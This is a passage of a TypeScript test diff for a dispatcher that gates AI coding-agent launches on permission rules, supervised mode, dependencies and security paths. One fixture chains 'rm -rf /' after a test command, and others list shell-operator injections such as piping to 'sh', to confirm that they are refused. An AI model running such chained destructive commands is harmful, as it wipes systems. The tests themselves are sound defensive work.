+    const result = evaluateGuards(
+      task,
+      emptyBoard,
+      busySlots,
+      { ...DEFAULT_DISPATCH_LIMITS, capacity: { [LANE.LOCAL]: 1, [LANE.FRONTIER]: 2 } },
+      null,
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'claude-dir-path');
+    }
+  });
+});
+
+// ── Guard 1b: permission composition (BOTH lanes) ─────────────────────────────
+//
+// R2 (round 10): this refusal used to live in `buildLaunch`, which runs AFTER the slot is acquired
+// and the attempt directory is created — so a conflict only a person can resolve cost a worktree
+// slot, an attempt and a `dispatch-failed` block. It is a property of the task and the settings
+// files the launch reads, knowable before anything is taken, so it belongs with the other guard-1
+// checks. It was also frontier-only, because `--bare` was read as "the local lane loads no settings
+// source" — measured wrong in T-5, so the local lane composes the same lists now.
+
+/** Loaded allow rules tagged with the settings file they came from — the shape guard 1b compares. */
+const projectRules = (...rules: string[]): SettingsAllowRule[] =>
+  rules.map((rule) => ({ rule, source: 'project' as const }));
+const userRules = (...rules: string[]): SettingsAllowRule[] =>
+  rules.map((rule) => ({ rule, source: 'user' as const }));
+
+/** The frontier lane's shipped shape, reduced to what the coverage comparison needs. */
+const frontierGrants = (...extra: string[]): string[] => [
+  'Read',
+  'Grep',
+  'Glob',
+  'Edit(./**)',
+  'Write(./**)',
+  'Bash(openspec:*)',
+  'Bash(pnpm --filter * test)',
+  'Bash(pnpm --filter * test *)',
+  ...extra,
+];
+
+describe('evaluateGuards — guard 1b: a settings rule broader than one the launch grants', () => {
+  const frontierTask = (overrides: Partial<Task> = {}): Task =>
+    baseTask({ lane: LANE.FRONTIER, tier: 'medium', ...overrides });
+
+  it('blocks the task, naming both rules, before any slot is considered', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm test:hooks scripts/x.test.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: frontierGrants('Bash(pnpm test:hooks scripts/x.test.ts:*)'),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'permission-conflict');
+      assert.ok(
+        result.comment.includes('Bash(pnpm test:hooks:*)'),
+        'the settings rule must be named',
+      );
+      assert.ok(
+        result.comment.includes('Bash(pnpm test:hooks scripts/x.test.ts:*)'),
+        'the grant it would revoke must be named too',
+      );
+    }
+  });
+
+  it('launches a task whose declared command no settings rule swallows', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm --filter aurora-back test' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules(
+          'Bash(pnpm test:hooks:*)',
+          'Bash(pnpm --filter aurora-back test:*)',
+        ),
+        grantedAllow: frontierGrants('Bash(pnpm --filter aurora-back test:*)'),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  // A non-covered scoping of a FILE tool is a conflict only when the deny that cancels it would
+  // reach INSIDE the slot — that deny is what takes away the worker's ability to open a file there.
+  // A scoping that only reaches outside the slot is denied like any other rule, which is the point.
+  // Parametrized over all three FILE_TOOLS (not just Edit), each with a granted list that does NOT
+  // grant that tool, so the case always falls through to `denyReachesInsideSlot`.
+  const fileToolGrants: Record<'Read' | 'Edit' | 'Write', string[]> = {
+    Read: ['Edit(./**)', 'Write(./**)', 'Bash(openspec:*)'],
+    Edit: ['Read', 'Write(./**)', 'Bash(openspec:*)'],
+    Write: ['Read', 'Edit(./**)', 'Bash(openspec:*)'],
+  };
+
+  for (const tool of ['Read', 'Edit', 'Write'] as const) {
+    // `${tool}(~/**)` is a THIRD shape here, distinct from a relative glob (narrows a slot
+    // directory) and a bare/unscoped rule (takes the tool away wholesale): the slot lives inside
+    // the home directory (root CLAUDE.md, "Worktree location"), so a bare "~" wildcard is a
+    // SUPERSET that reaches back into the slot too — it is not an exit like "/" or "..".
+    for (const rule of [
+      `${tool}(frontend/**)`,
+      `${tool}(**)`,
+      `${tool}(./**)`,
+      tool,
+      `${tool}(~/**)`,
+    ]) {
+      it(`blocks a settings rule whose deny would disable a file tool inside the slot: ${rule}`, () => {
+        const result = evaluateGuards(
+          frontierTask(),
+          emptyBoard,
+          freeSlots(),
+          DEFAULT_DISPATCH_LIMITS,
+          {
+            settingsAllow: projectRules(rule),
+            grantedAllow: fileToolGrants[tool],
+          },
+          [],
+        );
+        assert.equal(result.kind, 'block');
+        if (result.kind === 'block') {
+          assert.equal(result.reason, 'permission-conflict');
+          assert.ok(result.comment.includes(rule));
+        }
+      });
+    }
+  }
+
+  for (const tool of ['Read', 'Edit', 'Write'] as const) {
+    // A scoped home path (`~/notes/**`) is NOT the same shape as the bare `~/**` above: it names a
+    // sibling directory, not the slot, so it stays in the "only reaches outside" group.
+    for (const rule of [`${tool}(/etc/**)`, `${tool}(~/notes/**)`, `${tool}(../**)`]) {
+      it(`lets a file-tool scoping that only reaches outside the slot fall through to a deny: ${rule}`, () => {
+        const result = evaluateGuards(
+          frontierTask(),
+          emptyBoard,
+          freeSlots(),
+          DEFAULT_DISPATCH_LIMITS,
+          {
+            settingsAllow: projectRules(rule),
+            grantedAllow: [`${tool}(./**)`, 'Bash(openspec:*)'],
+          },
+          [],
+        );
+        assert.equal(result.kind, 'launch');
+      });
+    }
+  }
+
+  // A USER-file path scoping is relative to the home directory, not to the slot, so the lane's
+  // slot-scoped `Edit(./**)` does not cover it — it only looks like it does once the `./` is
+  // normalised away. The lane cannot express "everything under $HOME", so the launch cannot make
+  // this rule safe: it is a conflict a person resolves.
+  for (const rule of ['Edit', 'Edit(**)', 'Edit(./**)']) {
+    it(`blocks a user-file rule with no path scoping of its own: ${rule}`, () => {
+      const result = evaluateGuards(
+        frontierTask(),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        {
+          settingsAllow: userRules(rule),
+          grantedAllow: frontierGrants(),
+        },
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'permission-conflict');
+        assert.ok(result.comment.includes(rule));
+      }
+    });
+  }
+
+  // Defect 1 (T-10): a RELATIVE user-file path rule (its own scoping, not bare) is STILL
+  // home-relative, not slot-relative — it must block the same way the bare forms above do, not read
+  // as covered by the lane's slot-scoped `Edit(./**)`.
+  it('blocks a user-file rule scoped to a RELATIVE path, not just a bare one', () => {
+    const result = evaluateGuards(
+      frontierTask(),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: userRules('Edit(Documents/**)'),
+        grantedAllow: frontierGrants(),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'permission-conflict');
+      assert.ok(result.comment.includes('Edit(Documents/**)'));
+    }
+  });
+
+  // Defect 3 (T-10): PATH_TOOLS includes Glob and Grep, not just the FILE_TOOLS that "open" a file —
+  // the conflict text must name the real tool and the real action, not claim the worker cannot open
+  // a file when the tool in question searches or lists paths instead.
+  for (const tool of ['Glob', 'Grep'] as const) {
+    it(`names the real tool for a bare user-file rule on ${tool}, not "abrir un fichero"`, () => {
+      const result = evaluateGuards(
+        frontierTask(),
+        emptyBoard,
+        freeSlots(),
+        DEFAULT_DISPATCH_LIMITS,
+        {
+          settingsAllow: userRules(tool),
+          grantedAllow: ['Read', 'Edit(./**)', 'Write(./**)', 'Bash(openspec:*)'],
+        },
+        [],
+      );
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.ok(result.comment.includes(tool), `comment must name ${tool}`);
+        assert.ok(
+          !result.comment.includes('abrir ficheros') && !result.comment.includes('abrir un fichero'),
+          'comment must not claim the conflict is about opening a file',
+        );
+      }
+    });
+  }
+
+  // Unless the lane grants that tool BARE, which is the one grant that does reach outside the slot.
+  it('accepts a user-file rule for a tool the lane grants bare', () => {
+    const result = evaluateGuards(
+      frontierTask(),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: userRules('Read', 'Read(**)'),
+        grantedAllow: frontierGrants(),
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  // It used to be frontier-only, on the reading that `--bare` made the local lane load no settings
+  // file at all. Measured wrong (T-5, 2026-09-07): `--bare` skips hooks, LSP, plugin sync,
+  // auto-memory, keychain reads and `CLAUDE.md` discovery — not settings. The local lane now passes
+  // `--setting-sources user` and composes the same deny list, so the same overlap with no safe
+  // answer is reachable on it, and the same guard decides it before a slot is taken.
+  it('fires on the local lane too: a user-file rule broader than its per-task test grant', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm test:hooks scripts/x.test.ts' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: userRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: ['Read', 'Edit(./**)', 'Bash(pnpm test:hooks scripts/x.test.ts:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'permission-conflict');
+      assert.ok(result.comment.includes('Bash(pnpm test:hooks:*)'));
+    }
+  });
+
+  // And it stays silent when the loaded user file grants nothing the lane does not already cover —
+  // the shape of this machine, whose user file declares an empty `permissions.allow`.
+  it('launches a local task whose user file adds nothing the lane does not grant', () => {
+    const result = evaluateGuards(
+      baseTask({ testCommand: 'pnpm --filter aurora-back test' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: [],
+        grantedAllow: ['Read', 'Edit(./**)', 'Bash(pnpm --filter aurora-back test:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('runs after the triage checks — a refused test command is still the reason', () => {
+    const result = evaluateGuards(
+      frontierTask({ testCommand: 'pnpm test && rm -rf /' }),
+      emptyBoard,
+      freeSlots(),
+      DEFAULT_DISPATCH_LIMITS,
+      {
+        settingsAllow: projectRules('Bash(pnpm test:hooks:*)'),
+        grantedAllow: ['Bash(pnpm test:hooks x:*)'],
+      },
+      [],
+    );
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'refused-test-command');
+    }
+  });
+
+  it('is a no-op when the caller passes no composition (the local-lane path)', () => {
+    assert.equal(
+      evaluateGuards(frontierTask(), emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [])
+        .kind,
+      'launch',
+    );
+  });
+});
+
+describe('grantCovers', () => {
+  it('covers a longer command line under the same prefix', () => {
+    assert.equal(grantCovers('Bash(openspec:*)', 'Bash(openspec status:*)'), true);
+  });
+
+  // T-7: the granted rule is the exact-form half of the pair the lane ships (no trailing `:*`,
+  // so it is not `isDeadBashRule`) — its base has no trailing space, so the remainder after the
+  // match is empty and coverage holds without needing a boundary character.
+  it('reads a mid-rule * as a wildcard', () => {
+    assert.equal(
+      grantCovers('Bash(pnpm --filter * test)', 'Bash(pnpm --filter aurora-back test:*)'),
+      true,
+    );
+  });
+
+  // R3a: a prefix match is not coverage on its own. `Bash(git status:*)` matches the string
+  // `git statusfoo`, which is a different command, and it matches `git status && fd .`, which is
+  // TWO — the second of them a command the lane spent its deny list refusing.
+  it('refuses a prefix that resumes mid-token', () => {
+    assert.equal(grantCovers('Bash(git status:*)', 'Bash(git statusfoo:*)'), false);
+  });
+
+  for (const compound of [
+    'Bash(git status && fd .:*)',
+    'Bash(git status || fd .:*)',
+    'Bash(git status; fd .:*)',
+    'Bash(git status | sh:*)',
+    'Bash(git status $(fd .):*)',
+    'Bash(git status > out:*)',
+    'Bash(git status < in:*)',
+  ]) {
+    it(`refuses a candidate carrying a shell operator: ${compound}`, () => {
+      assert.equal(grantCovers('Bash(git status:*)', compound), false);
+    });
+  }
+
+  // R3b: `./**` and `**` are the same scope, and the lane spells it `./**` because the cwd is the
+  // slot. Without the normalization every project `Edit(<dir>/**)` read as uncovered, and the deny
+  // composed for it would have taken away the worker's write access to that directory.
+  it('normalizes a leading ./ on both sides of a path rule', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit(frontend/**)'), true);
+    assert.equal(grantCovers('Edit(**)', 'Edit(./frontend/**)'), true);
+  });
+
+  it('does not apply the command-shaped checks to a path rule', () => {
+    assert.equal(grantCovers('Read', 'Read(frontend/src/**)'), true);
+  });
+
+  it('a bare tool rule is covered by nothing narrower', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit'), false);
+  });
+
+  // R11: `:` separates a pnpm script name from its subcommand, so it is a token boundary exactly
+  // like a space. Reading it as mid-token made `Bash(pnpm --filter * test)` NOT cover
+  // `Bash(pnpm --filter aurora-back test:extra:*)`, and a rule the lane does grant was then
+  // composed into the deny list — where it revoked the grant it duplicated.
+  it('treats a colon as a token boundary, like a space', () => {
+    assert.equal(
+      grantCovers('Bash(pnpm --filter * test)', 'Bash(pnpm --filter aurora-back test:extra:*)'),
+      true,
+    );
+    assert.equal(grantCovers('Bash(pnpm test:*)', 'Bash(pnpm test:hooks x:*)'), true);
+  });
+
+  // A granted base whose own trailing boundary was consumed by the wildcard (`Bash(git *)` → `git `)
+  // has already matched at a boundary: what follows is an argument list, not the rest of a token.
+  it('accepts the remainder when the granted base itself ends at a boundary', () => {
+    assert.equal(grantCovers('Bash(git *)', 'Bash(git status:*)'), true);
+  });
+
+  // R11: `./` normalisation turns the lane's `Edit(./**)` into an empty base, which then matched
+  // ANY path — `../**` included, the one relative scoping that is emphatically outside the slot.
+  it('does not cover a scoping that climbs out of the working directory', () => {
+    assert.equal(grantCovers('Edit(./**)', 'Edit(../**)'), false);
+    assert.equal(grantCovers('Edit(**)', 'Edit(../../etc/**)'), false);
+  });
+});
+
+// A deny is matched by Claude Code as a RAW prefix — no token boundary, no shell-operator opinion —
+// so "would a deny for this rule revoke that grant?" is a different question from "does that grant
+// already cover this rule?". Asking the strict one in the deny direction let a BROAD settings rule
+// read as unrelated to the narrow grant it swallows, and it was then emitted as a deny that killed
+// the grant.
+describe('denyWouldRevoke', () => {
+  it('reads the deny as a raw prefix, with no token boundary required', () => {
+    assert.equal(denyWouldRevoke('Bash(pnpm test:*)', 'Bash(pnpm test:hooks x:*)'), true);
+    assert.equal(denyWouldRevoke('Bash(pnpm *)', 'Bash(pnpm --filter * test)'), true);
+  });
+
+  it('does not care that the grant carries a shell operator: a deny still matches it', () => {
+    assert.equal(denyWouldRevoke('Bash(git status:*)', 'Bash(git status && fd .:*)'), true);
+  });
+
+  it('is false when the prefix does not reach the grant at all', () => {
+    assert.equal(denyWouldRevoke('Bash(pnpm test:*)', 'Bash(pnpm --filter * test)'), false);
+    assert.equal(denyWouldRevoke('Edit(/etc/**)', 'Edit(./**)'), false);
+  });
+
+  it('a bare deny revokes every scoping of that tool; a scoped deny does not revoke a bare grant', () => {
+    assert.equal(denyWouldRevoke('Edit', 'Edit(./**)'), true);
+    assert.equal(denyWouldRevoke('Read(/etc/**)', 'Read'), false);
+  });
+});
+
+// T-7: measured 2026-09-07 (Claude Code 2.1.263, `claude -p` probes, `--setting-sources user`
+// with 0 allow rules, `--permission-mode dontAsk`, non-read-only `mkdir` commands). A Bash rule
+// combining a mid-rule `*` with a trailing `:*` matches NOTHING — the five frontier-lane rules
+// this shape used to describe (`Bash(pnpm --filter * test:*)` and its four siblings) were dead.
+describe('isDeadBashRule', () => {
+  it('flags a mid-rule * combined with a trailing :* suffix — the measured dead shape', () => {
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test:*)'), true);
+    assert.equal(isDeadBashRule('Bash(mkdir * end:*)'), true);
+  });
+
+  it('does not flag the exact-form / with-arguments glob pair the fix replaces it with', () => {
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test)'), false);
+    assert.equal(isDeadBashRule('Bash(pnpm --filter * test *)'), false);
+  });
+
+  it('does not flag an ordinary trailing :* rule with no mid-rule wildcard', () => {
+    assert.equal(isDeadBashRule('Bash(git status:*)'), false);
+    assert.equal(isDeadBashRule('Bash(openspec:*)'), false);
+  });
+
+  it('ignores non-Bash rules, including a bare tool rule and a path glob', () => {
+    assert.equal(isDeadBashRule('Read'), false);
+    assert.equal(isDeadBashRule('Edit(./**)'), false);
+  });
+});
+
+describe('findPermissionConflict', () => {
+  const laneGrants = ['Read', 'Edit(./**)', 'Bash(pnpm --filter * test)'];
+
+  // The shape that made this a finding: the settings rule is broader than the grant, the strict
+  // coverage predicate said "unrelated", and the launch denied it — revoking the grant.
+  it('reports a settings rule broader than a granted one as a conflict, in either spelling', () => {
+    assert.deepEqual(findPermissionConflict(projectRules('Bash(pnpm *)'), laneGrants), {
+      kind: 'broader',
+      rule: 'Bash(pnpm *)',
+      granted: 'Bash(pnpm --filter * test)',
+    });
+    assert.deepEqual(
+      findPermissionConflict(projectRules('Bash(pnpm test:*)'), ['Bash(pnpm test:hooks x:*)']),
+      {
+        kind: 'broader',
+        rule: 'Bash(pnpm test:*)',
+        granted: 'Bash(pnpm test:hooks x:*)',
+      },
+    );
+  });
+
+  // The case only the raw predicate catches: the project's `Bash(pnpm test:hooks:*)` is a raw prefix
+  // of a task whose declared command is `pnpm test:hooks-extra`, so denying it kills that grant —
+  // even though the extra text resumes mid-token and the strict coverage predicate reads the two
+  // rules as unrelated. Asked strictly in this direction, the launch emitted the deny.
+  it('reports a rule that only revokes a grant as a RAW prefix, mid-token included', () => {
+    assert.deepEqual(
+      findPermissionConflict(projectRules('Bash(pnpm test:hooks:*)'), [
+        'Bash(pnpm test:hooks-extra:*)',
+      ]),
+      {
+        kind: 'broader',
+        rule: 'Bash(pnpm test:hooks:*)',
+        granted: 'Bash(pnpm test:hooks-extra:*)',
+      },
+    );
+  });
+
+  it('is null when every rule is either covered or safely deniable', () => {
+    assert.equal(
+      findPermissionConflict(
+        projectRules('Bash(pnpm --filter aurora-back test:*)', 'Bash(fd:*)'),
+        laneGrants,
+      ),
+      null,
+    );
+  });
+
+  // Defect 1 (T-10): a user-file rule scoped to a RELATIVE path is still home-relative, not
+  // slot-relative — the `./` normalization strips the lane's `Edit(./**)` down to an empty base,
+  // which then wrongly reads as a prefix of "Documents" too. Only a bare grant reaches far enough
+  // outside the slot to cover a user-file rule, scoped or not.
+  it('reports a RELATIVE user-file path rule as a file-tool conflict, not covered by a slot grant', () => {
+    assert.deepEqual(findPermissionConflict(userRules('Edit(Documents/**)'), ['Edit(./**)']), {
+      kind: 'file-tool',
+      rule: 'Edit(Documents/**)',
+    });
+  });
+
+  // Defect 4 (T-10): the CLASS of the conflict, not just the guard-level reason, must be `file-tool`
+  // for a bare user-file rule the lane only grants scoped.
+  it('reports a bare user-file rule as a file-tool conflict (asserted by kind, not just reason)', () => {
+    assert.deepEqual(findPermissionConflict(userRules('Edit'), ['Edit(./**)']), {
+      kind: 'file-tool',
+      rule: 'Edit',
+    });
+  });
+
+  // Fix-round regression (code-review, T-10): the point-1 fix must stay scoped to a rule whose base
+  // does NOT already read as leaving the working directory. A user-file rule that is ALREADY
+  // unambiguous about pointing outside the slot (absolute, "~/subdir", "..") must still fall through
+  // to the ordinary coverage/deny path — the SAME `null` a `project`-sourced rule of the identical
+  // shape gets (see the parallel `projectRules` loop in the guard-1b suite above) — not be force-
+  // blocked just for being "user"-sourced. Forcing a block here would refuse a task over a settings
+  // rule that never touched the slot at all.
+  it('is null for a user-file rule that already reads as leaving the working directory', () => {
+    assert.equal(findPermissionConflict(userRules('Edit(/etc/**)'), ['Edit(./**)']), null);
+    assert.equal(findPermissionConflict(userRules('Edit(~/notes/**)'), ['Edit(./**)']), null);
+    assert.equal(findPermissionConflict(userRules('Edit(../**)'), ['Edit(./**)']), null);
+  });
+
+  // The bare home wildcard is the one "leaving" shape that must still block — via the SAME
+  // `denyReachesInsideSlot` mechanism a `project`-sourced `~/**` rule blocks through (defect 2),
+  // because the slot lives inside home and this one genuinely reaches back into it.
+  it('still reports a bare user-file "~/**" rule as a file-tool conflict, via denyReachesInsideSlot', () => {
+    assert.deepEqual(findPermissionConflict(userRules('Edit(~/**)'), ['Edit(./**)']), {
+      kind: 'file-tool',
+      rule: 'Edit(~/**)',
+    });
+  });
+});
+
+// ── Guard 2: Complex on local ─────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 2: Complex on local', () => {
+  it('blocks tier:complex + lane:local', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.LOCAL });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'complex-on-local');
+      assert.match(result.comment, /frontier/i);
+    }
+  });
+
+  it('does not block tier:complex + lane:frontier', () => {
+    const task = baseTask({ tier: 'complex', lane: LANE.FRONTIER });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+});
+
+// ── Guard 0: supervised mode ──────────────────────────────────────────────────
+
+describe('evaluateGuards — guard 0: supervised mode', () => {
+  it('blocks a mode:supervised task, naming both ways out', () => {
+    const task = baseTask({ mode: MODE.SUPERVISED });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'supervised-mode');
+      assert.match(result.comment, /supervised/i);
+      assert.match(result.comment, /sesión/i);
+      assert.match(result.comment, /mode:headless/);
+    }
+  });
+
+  // `--add-label` APPENDS rather than replacing — following "relabel mode:headless" literally
+  // would leave BOTH `mode:` labels on the task. The comment must state the exact edit instead of
+  // an instruction a person could follow into that trap.
+  it('names the exact edit — --remove-label AND --add-label in the same command — never --add-label alone', () => {
+    const task = baseTask({ mode: MODE.SUPERVISED });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.match(result.comment, /--remove-label mode:supervised/);
+      assert.match(result.comment, /--add-label mode:headless/);
+    }
+  });
+
+  it('blocks a mode:supervised task with an unfinished dependency, rather than waiting for it', () => {
+    const board: Board = {
+      tasksById: { 'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.IN_PROGRESS }) },
+    };
+    const task = baseTask({ mode: MODE.SUPERVISED, dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'supervised-mode');
+    }
+  });
+
+  it('does not block a mode:headless task', () => {
+    const task = baseTask({ mode: MODE.HEADLESS });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+
+  // Evaluation order: a mode:supervised task has exactly ONE true verdict, regardless of what else
+  // is wrong with it — the task never needed any other guard's contract in the first place (its
+  // verification is not a dispatchable command at all), so no other guard may report first.
+  describe('wins over every other guard, even one that would also block', () => {
+    it('over guard 1 (missing Test command)', () => {
+      const task = baseTask({ mode: MODE.SUPERVISED, testCommand: null });
+      const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'supervised-mode');
+      }
+    });
+
+    it('over guard 1c (a declared hard-list path)', () => {
+      const task = baseTask({ mode: MODE.SUPERVISED, filesToTouch: ['package.json'] });
+      const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'supervised-mode');
+      }
+    });
+
+    it('over guard 1e (a declared supervised-only path)', () => {
+      const task = baseTask({
+        mode: MODE.SUPERVISED,
+        filesToTouch: ['packages/core-back/src/index.ts'],
+      });
+      const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+      assert.equal(result.kind, 'block');
+      if (result.kind === 'block') {
+        assert.equal(result.reason, 'supervised-mode');
+      }
+    });
+  });
+});
+
+// ── Guard 3: dependencies (wait vs block) ─────────────────────────────────────
+
+describe('evaluateGuards — guard 3: dependencies', () => {
+  it('waits (requeues) when a known dependency is not yet Done', () => {
+    const board: Board = {
+      tasksById: {
+        'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.IN_PROGRESS }),
+      },
+    };
+    const task = baseTask({ dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  it('proceeds past guard 3 when every dependency is Done', () => {
+    const board: Board = {
+      tasksById: {
+        'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.DONE }),
+      },
+    };
+    const task = baseTask({ dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('blocks (does not requeue) an unresolvable dependency id', () => {
+    const task = baseTask({ dependsOn: ['T-does-not-exist'] });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'unknown-dependency');
+      assert.match(result.comment, /dependencia desconocida/i);
+    }
+  });
+});
+
+// ── Guard 4: security path on local ───────────────────────────────────────────
+
+describe('evaluateGuards — guard 4: security path on local', () => {
+  it('blocks a local-lane task declaring a file under a security path', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+
+  it('does not block the same declared file on the frontier lane', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.FRONTIER,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.notEqual(result.kind, 'block');
+  });
+});
+
+// ── Guard 4b: a subtask's parent branch missing from the remote (T-14, 2026-09-08) ──
+//
+// T-4.1 measured the cost of NOT having this guard: the dispatcher branched a subtask off
+// `origin/main` because its parent's branch was not on the remote yet (`slots.ts`'s own silent
+// fallback), the worker finished correctly, and the close then failed `scope-check-failed` diffing
+// against a ref dispatch never created — a whole frontier run lost to a problem this guard now
+// catches before a slot is ever taken.
+//
+// Placed (and tested) AFTER guard 4 on purpose — see `checkParentBranchOnRemote`'s doc comment in
+// `guards.ts`: the security refusal must never be masked by an actionable-looking "push a branch"
+// message.
+
+describe("evaluateGuards — guard 4b: a subtask's parent branch missing from the remote", () => {
+  it('blocks a subtask whose parent branch is not on the remote, naming the missing branch', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'missing-parent-branch');
+      assert.match(result.comment, /task\/T-4/);
+    }
+  });
+
+  it('launches a subtask whose parent branch IS on the remote', () => {
+    const task = baseTask({ parentId: 'T-4' });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+      'task/T-4',
+    ]);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('never checks the remote at all for a top-level task (no parentId)', () => {
+    const task = baseTask();
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, []);
+    assert.equal(result.kind, 'launch');
+  });
+
+  it('reports the missing parent branch AFTER an unmet dependency (guard 3 now runs first)', () => {
+    const board: Board = {
+      tasksById: { 'T-2': baseTask({ id: 'T-2', status: TASK_STATUS.TO_DO }) },
+    };
+    const task = baseTask({ parentId: 'T-4', dependsOn: ['T-2'] });
+    const result = evaluateGuards(task, board, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'wait');
+    if (result.kind === 'wait') {
+      assert.equal(result.reason, 'dependency-not-done');
+    }
+  });
+
+  // F5: the security refusal must never be masked by the missing-parent-branch message — a person
+  // fixing "push the branch" and re-queueing would otherwise only discover the REAL, unfixable
+  // (by them) refusal on the second attempt.
+  it('reports the security path before the missing parent branch, never the other way round', () => {
+    const securityFile = SECURITY_PATH_PATTERNS[0];
+    const task = baseTask({
+      lane: LANE.LOCAL,
+      filesToTouch: [`backend/src/${securityFile}foo.ts`],
+      parentId: 'T-4',
+    });
+    const result = evaluateGuards(task, emptyBoard, freeSlots(), DEFAULT_DISPATCH_LIMITS, null, [
+      'main',
+    ]);
+    assert.equal(result.kind, 'block');
+    if (result.kind === 'block') {
+      assert.equal(result.reason, 'security-path-on-local');
+    }
+  });
+
+  it('still reports the missing parent branch before the attempts-exhausted check', () => {
